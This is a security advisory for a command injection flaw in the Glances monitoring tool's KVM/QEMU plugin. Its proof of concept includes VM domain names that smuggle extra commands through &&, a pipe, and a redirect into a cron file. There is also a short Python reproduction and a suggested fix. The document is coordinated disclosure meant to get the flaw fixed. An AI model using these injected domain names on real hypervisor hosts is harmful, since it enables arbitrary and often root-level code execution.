GHSA-v5r2-qh84-fjx5 — glances

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.

Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):

• https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185
• https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204

The vulnerable calls are on lines 185 and 204:

# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):        # '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
    # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

PoC

Special configuration required

• Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
• The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
• No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>

virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

glances                # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes:

1. virsh domstats --nowait productionDB
2. touch /tmp/glances_pwned

Step 3 — Verify execution

ls -la /tmp/glances_pwned   # file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact:

• Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
• Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).
• Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.

Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.